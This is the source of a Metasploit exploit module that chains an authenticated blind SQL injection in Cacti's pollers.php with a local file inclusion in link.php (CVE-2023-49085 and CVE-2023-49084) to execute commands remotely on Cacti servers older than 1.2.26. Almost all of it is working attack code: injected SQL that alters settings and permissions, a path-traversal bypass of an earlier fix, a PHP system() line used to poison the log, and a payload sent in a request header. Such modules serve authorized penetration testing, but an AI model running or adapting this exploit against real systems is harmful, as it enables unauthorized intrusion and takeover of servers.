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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
8

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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::SQLi
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  include Msf::Exploit::FileDropper
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  include Msf::Exploit::Cacti
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  prepend Msf::Exploit::Remote::AutoCheck
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  class CactiError < StandardError; end
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  class CactiNotFoundError < CactiError; end
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  class CactiVersionNotFoundError < CactiError; end
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  class CactiNoAccessError < CactiError; end
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  class CactiCsrfNotFoundError < CactiError; end
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  class CactiLoginError < CactiError; end
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Cacti RCE via SQLi in pollers.php',
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        'Description' => %q{
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          This exploit module leverages a SQLi (CVE-2023-49085) and a LFI
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          (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to
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          achieve RCE. Authentication is needed and the account must have access
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          to the vulnerable PHP script (`pollers.php`). This is granted by
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          setting the `Sites/Devices/Data` permission in the `General
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          Administration` section.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Aleksey Solovev', # Initial research and discovery
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          'Christophe De La Fuente' # Metasploit module
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        ],
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        'References' => [
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          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi
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          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)
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          [ 'CVE', '2023-49085'], # SQLi
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          [ 'CVE', '2023-49084'] # LFI (RCE)
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        ],
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        'Platform' => ['unix linux win'],
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        'Privileged' => false,
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        'Arch' => ARCH_CMD,
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        'Targets' => [
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          [
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            'Linux Command',
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            {
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              'Arch' => ARCH_CMD,
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              'Platform' => [ 'unix', 'linux' ]
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            }
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          ],
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          [
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            'Windows Command',
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            {
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              'Arch' => ARCH_CMD,
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              'Platform' => 'win'
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            }
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          ]
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        ],
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        'DefaultOptions' => {
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          'SqliDelay' => 3
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        },
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        'DisclosureDate' => '2023-12-20',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
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        OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
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        OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])
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      ]
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    )
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  end
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  def sqli
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    @sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|
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      sqli_final_payload = '"'
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      sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')
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      sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""
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      send_request_cgi(
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        'uri' => normalize_uri(target_uri.path, 'pollers.php'),
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        'method' => 'POST',
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        'keep_cookies' => true,
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        'vars_post' => {
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          '__csrf_magic' => @csrf_token,
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          'name' => 'Main Poller',
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          'hostname' => 'localhost',
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          'timezone' => '',
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          'notes' => '',
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          'processes' => '1',
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          'threads' => '1',
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          'id' => '2',
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          'save_component_poller' => '1',
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          'action' => 'save',
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          'dbhost' => sqli_final_payload
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        },
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        'vars_get' => {
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          'header' => 'false'
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        }
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      )
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    end
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  end
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  def check
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    # Step 1 - Check if the target is Cacti and get the version
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    print_status('Checking Cacti version')
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'index.php'),
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      'method' => 'GET',
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      'keep_cookies' => true
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    )
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    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
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    html = res.get_html_document
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    begin
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      @cacti_version = parse_version(html)
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      version_msg = "The web server is running Cacti version #{@cacti_version}"
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    rescue CactiNotFoundError => e
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      return CheckCode::Safe(e.message)
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    rescue CactiVersionNotFoundError => e
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      return CheckCode::Unknown(e.message)
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    end
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    if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')
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      print_good(version_msg)
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    else
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      return CheckCode::Safe(version_msg)
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    end
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    # Step 2 - Login
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    @csrf_token = parse_csrf_token(html)
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    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?
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146
    begin
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      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
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    rescue CactiError => e
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      return CheckCode::Unknown("Login failed: #{e}")
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    end
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152
    @logged_in = true
153

154
    # Step 3 - Check if the user has enough permissions to reach `pollers.php`
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    print_status('Checking permissions to access `pollers.php`')
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    res = send_request_cgi(
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      'uri' => normalize_uri(target_uri.path, 'pollers.php'),
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      'method' => 'GET',
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      'keep_cookies' => true,
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      'headers' => {
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        'X-Requested-With' => 'XMLHttpRequest'
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      }
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    )
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    return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?
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    return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401
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    return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200
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168
    # Step 4 - Check if it is vulnerable to SQLi
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    print_status('Attempting SQLi to check if the target is vulnerable')
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    return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable
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172
    CheckCode::Vulnerable
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  end
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  def get_ext_link_id
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    # Get an unused External Link ID with a time-based SQLi
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    @ext_link_id = rand(1000..9999)
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    loop do
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      _res, elapsed_time = Rex::Stopwatch.elapsed_time do
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        sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")
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      end
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      break if elapsed_time < datastore['SqliDelay']
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      @ext_link_id = rand(1000..9999)
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    end
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    vprint_good("Got external link ID #{@ext_link_id}")
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  end
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  def exploit
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    if @csrf_token.blank? || @cacti_version.blank?
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      res = send_request_cgi(
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        'uri' => normalize_uri(target_uri.path, 'index.php'),
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        'method' => 'GET',
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        'keep_cookies' => true
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      )
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      fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?
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      html = res.get_html_document
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      if @csrf_token.blank?
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        print_status('Getting the CSRF token to login')
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        @csrf_token = parse_csrf_token(html)
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        # exit early since without the CSRF token, we cannot login
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        fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?
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        vprint_good("CSRF token: #{@csrf_token}")
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      end
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      if @cacti_version.blank?
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        print_status('Getting the version')
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        begin
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          @cacti_version = parse_version(html)
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          vprint_good("Version: #{@cacti_version}")
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        rescue CactiError => e
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          # We can still log in without the version
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          print_bad("Could not get the version, the exploit might fail: #{e}")
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        end
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      end
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    end
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    unless @logged_in
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      begin
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        do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
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      rescue CactiError => e
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        fail_with(Failure::NoAccess, "Login failure: #{e}")
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      end
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    end
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    @log_file_path = "log/cacti#{rand(1..999)}.log"
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    print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")
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    @log_setting_name_bak = '_path_cactilog'
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    sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")
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    @do_settings_cleanup = true
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    sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")
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    register_file_for_cleanup(@log_file_path)
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    print_status("Inserting the log file path `#{@log_file_path}` to the external links table")
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    log_file_path_lfi = "../../#{@log_file_path}"
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    # Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):
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    #   $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);
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    log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')
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    get_ext_link_id
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    sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")
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    @do_ext_link_cleanup = true
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245
    print_status('Getting the user ID and setting permissions (it might take a few minutes)')
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    user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")
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    fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)
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    sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")
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    @do_perms_cleanup = true
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251
    print_status('Logging in again to apply new settings and permissions')
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    # Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.
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    # This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.
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    cookie_jar_bak = cookie_jar.clone
255
    cookie_jar.clear
256
    csrf_token_bak = @csrf_token
257

258
    begin
259
      @csrf_token = get_csrf_token
260
    rescue CactiError => e
261
      fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")
262
    end
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264
    begin
265
      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
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    rescue CactiError => e
267
      fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")
268
    end
269

270
    print_status('Poisoning the log')
271
    header_name = rand_text_alpha(1).upcase
272
    sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")
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274
    print_status('Triggering the payload')
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    # Expecting no response
276
    send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, 'link.php'),
278
      'method' => 'GET',
279
      'keep_cookies' => true,
280
      'headers' => {
281
        header_name => payload.encoded
282
      },
283
      'vars_get' => {
284
        'id' => @ext_link_id,
285
        'headercontent' => 'true'
286
      }
287
    }, 1)
288

289
    # Restore the cookie_jar and the CSRF token to run cleanup without being blocked
290
    cookie_jar.clear
291
    self.cookie_jar = cookie_jar_bak
292
    @csrf_token = csrf_token_bak
293
  end
294

295
  def cleanup
296
    super
297

298
    if @do_ext_link_cleanup
299
      print_status('Cleaning up external link using SQLi')
300
      sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")
301
    end
302

303
    if @do_perms_cleanup
304
      print_status('Cleaning up permissions using SQLi')
305
      sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")
306
    end
307

308
    if @do_settings_cleanup
309
      print_status('Cleaning up the log path in `settings` table using SQLi')
310
      sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")
311
      sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")
312
    end
313
  end
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end
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